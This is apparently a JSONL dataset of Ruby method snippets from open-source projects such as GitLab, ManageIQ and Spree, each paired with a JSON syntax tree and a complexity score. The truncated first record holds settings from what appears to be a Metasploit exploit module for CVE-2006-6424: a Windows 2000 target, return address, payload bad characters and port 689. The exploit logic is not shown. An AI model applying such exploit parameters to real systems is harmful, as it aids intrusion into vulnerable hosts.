\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MC\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2006-6424\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"31363\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"21725\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\r \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 Pro SP4 English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2094831611]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2006-12-23\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[689]}]}]}]}]}]}","id":"dbf69c3e-c5b4-41f1-a58a-0c6230b00503"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/list/convert_table.rb","start_line":16,"raw_source":"def initialize(\n            migration_context:, table_name:, parent_table_name:, partitioning_column:,\n            zero_partition_value:\n          )\n            @migration_context = migration_context\n            @connection = migration_context.connection\n            @table_name = table_name\n            @parent_table_name = parent_table_name\n            @partitioning_column = partitioning_column\n            @zero_partition_value = Array.wrap(zero_partition_value)\n          end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"migration_context\"]},{\"type\":\"kwarg\",\"children\":[\"table_name\"]},{\"type\":\"kwarg\",\"children\":[\"parent_table_name\"]},{\"type\":\"kwarg\",\"children\":[\"partitioning_column\"]},{\"type\":\"kwarg\",\"children\":[\"zero_partition_value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@migration_context\",{\"type\":\"lvar\",\"children\":[\"migration_context\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_context\"]},\"connection\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@table_name\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@parent_table_name\",{\"type\":\"lvar\",\"children\":[\"parent_table_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@partitioning_column\",{\"type\":\"lvar\",\"children\":[\"partitioning_column\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@zero_partition_value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"zero_partition_value\"]}]}]}]}]}","id":"9bd84cce-3a3d-4b22-9460-748bbf507b4e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_compare.rb","start_line":514,"raw_source":"def clear_calculations(result)\n    result = @results[result] unless result.kind_of?(Hash)\n    result.delete(:_match_)\n    result.delete(:_match_exists_)\n    result.each_value { |v| clear_calculations(v) if v.kind_of?(Hash) }\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_calculations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"_match_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"_match_exists_\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"each_value\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[null,\"clear_calculations\",{\"type\":\"lvar\",\"children\":[\"v\"]}]},null]}]}]}]}","id":"44ff1c6e-bb0b-483b-91ef-4e72411ad6b6"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order.rb","start_line":440,"raw_source":"def reimbursement_paid_total\n      reimbursements.sum(&:paid_amount)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reimbursement_paid_total\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reimbursements\"]},\"sum\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"paid_amount\"]}]}]}]}","id":"66758f80-babd-4f91-8c7c-69e788f35554"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/graphql/docs/helper.rb","start_line":417,"raw_source":"def deprecations\n          strong_memoize(:deprecations) do\n            mapping = {}\n\n            schema.types.each do |type_name, type|\n              if type.kind.fields?\n                type.fields.each do |field_name, field|\n                  mapping[\"#{type_name}.#{field_name}\"] = field.try(:deprecation)\n                  field.arguments.each do |arg_name, arg|\n                    mapping[\"#{type_name}.#{field_name}.#{arg_name}\"] = arg.try(:deprecation)\n                  end\n                end\n              elsif type.kind.enum?\n                type.values.each do |member_name, enum|\n                  mapping[\"#{type_name}.#{member_name}\"] = enum.try(:deprecation)\n                end\n              end\n            end\n\n            mapping.compact\n          end\n        end","complexity_score":42.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deprecations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"deprecations\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mapping\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema\"]},\"types\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type_name\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"kind\"]},\"fields?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"fields\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field_name\"]},{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"[]=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"try\",{\"type\":\"sym\",\"children\":[\"deprecation\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"arguments\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg_name\"]},{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"[]=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"try\",{\"type\":\"sym\",\"children\":[\"deprecation\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"kind\"]},\"enum?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"values\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member_name\"]},{\"type\":\"arg\",\"children\":[\"enum\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"[]=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enum\"]},\"try\",{\"type\":\"sym\",\"children\":[\"deprecation\"]}]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"compact\"]}]}]}]}","id":"2e07698c-4ca9-4e9a-b9e2-52da2f63bf46"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/projects/copy/work_packages_dependent_service.rb","start_line":161,"raw_source":"def custom_value_attributes(source_work_package, user_cf_ids)\n      source_work_package.custom_value_attributes.to_h do |id, value|\n        if user_cf_ids.include?(id) && !target.users.detect { |u| u.id.to_s == value }\n          [id, nil]\n        else\n          [id, value]\n        end\n      end\n    end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_value_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_work_package\"]},{\"type\":\"arg\",\"children\":[\"user_cf_ids\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_work_package\"]},\"custom_value_attributes\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_cf_ids\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"users\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"id\"]},\"to_s\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},\"!\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"8150c3c3-eb54-4ac2-ba17-220b2cb2c38a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/models/wiki_page/meta_shared_examples.rb","start_line":14,"raw_source":"def create_previous_version(\n    title: old_title, slug: last_known_slug,\n    date: wiki_page.version.commit.committed_date)\n    create(\n      :wiki_page_meta,\n      title: title, container: container,\n      created_at: date, updated_at: date,\n      canonical_slug: slug\n    )\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_previous_version\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[null,\"old_title\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"slug\",{\"type\":\"send\",\"children\":[null,\"last_known_slug\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"date\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wiki_page\"]},\"version\"]},\"commit\"]},\"committed_date\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"wiki_page_meta\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"send\",\"children\":[null,\"container\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"lvar\",\"children\":[\"date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"canonical_slug\"]},{\"type\":\"lvar\",\"children\":[\"slug\"]}]}]}]}]}","id":"9f935bc9-3fa9-4346-b2e2-105eb714e15c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/poll/lib/polls_validator.rb","start_line":94,"raw_source":"def any_blank_options?(poll)\n      if poll[\"options\"].any? { |o| o[\"html\"].blank? }\n        if poll[\"name\"] == DiscoursePoll::DEFAULT_POLL_NAME\n          @post.errors.add(:base, I18n.t(\"poll.default_poll_must_not_have_any_empty_options\"))\n        else\n          @post.errors.add(\n            :base,\n            I18n.t(\"poll.named_poll_must_not_have_any_empty_options\", name: poll[\"name\"]),\n          )\n        end\n\n        return false\n      end\n\n      true\n    end","complexity_score":20.7,"ast_json":"{\"type\":\"def\",\"children\":[\"any_blank_options?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"poll\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"[]\",{\"type\":\"str\",\"children\":[\"options\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"[]\",{\"type\":\"str\",\"children\":[\"html\"]}]},\"blank?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePoll\"]},\"DEFAULT_POLL_NAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"poll.default_poll_must_not_have_any_empty_options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"poll.named_poll_must_not_have_any_empty_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"a10c2ee6-6605-4cb4-8456-20fa624cb9f2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/support/evm_spec_helper.rb","start_line":183,"raw_source":"def self.import_yaml_model(dirname, domain, attrs = {})\n    options = {'import_dir' => dirname, 'preview' => false, 'domain' => domain}\n    yaml_import(domain, options, attrs)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"import_yaml_model\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dirname\"]},{\"type\":\"arg\",\"children\":[\"domain\"]},{\"type\":\"optarg\",\"children\":[\"attrs\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"import_dir\"]},{\"type\":\"lvar\",\"children\":[\"dirname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"preview\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"domain\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"yaml_import\",{\"type\":\"lvar\",\"children\":[\"domain\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}]}","id":"8480dd7d-18fe-4f0b-b113-d4f6d7af56a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/project_snapshots_spec.rb","start_line":19,"raw_source":"def expect_snapshot_response_for(repository)\n      type, params = workhorse_send_data\n\n      expect(type).to eq('git-snapshot')\n      expect(params).to eq(\n        'GitalyServer' => {\n          'call_metadata' => { 'gitaly-feature-foobar' => 'true' },\n          'address' => Gitlab::GitalyClient.address(repository.project.repository_storage),\n          'token' => Gitlab::GitalyClient.token(repository.project.repository_storage)\n        },\n        'GetSnapshotRequest' => Gitaly::GetSnapshotRequest.new(\n          repository: repository.gitaly_repository\n        ).to_json\n      )\n      expect(response.parsed_body).to be_empty\n    end","complexity_score":31.6,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_snapshot_response_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\"]},{\"type\":\"lvasgn\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[null,\"workhorse_send_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"str\",\"children\":[\"git-snapshot\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GitalyServer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"call_metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"gitaly-feature-foobar\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GitalyClient\"]},\"address\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"project\"]},\"repository_storage\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GitalyClient\"]},\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"project\"]},\"repository_storage\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GetSnapshotRequest\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"GetSnapshotRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"gitaly_repository\"]}]}]}]},\"to_json\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"parsed_body\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_empty\"]}]}]}]}","id":"5f12f95a-9236-4f49-86db-a622dbd0e4f6"}
{"repo_name":"spree","file_path":"./repos/spree/core/db/migrate/20241030134309_create_spree_exports.rb","start_line":2,"raw_source":"def change\n    return if table_exists?(:spree_exports)\n\n    create_table :spree_exports do |t|\n      t.references :user\n      t.references :store, null: false\n\n      t.string :number, limit: 32, null: false, index: { unique: true }\n      t.string :type, null: false\n\n      if t.respond_to? :jsonb\n        t.jsonb :search_params\n      else\n        t.json :search_params\n      end\n\n      t.integer :format, index: true, null: false\n\n      t.timestamps\n    end\n  end","complexity_score":16.55,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_exists?\",{\"type\":\"sym\",\"children\":[\"spree_exports\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"spree_exports\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"store\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"number\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[32]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"jsonb\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"search_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"json\",{\"type\":\"sym\",\"children\":[\"search_params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}]}]}","id":"06a72679-f084-4b74-818c-ff2735cab59e"}
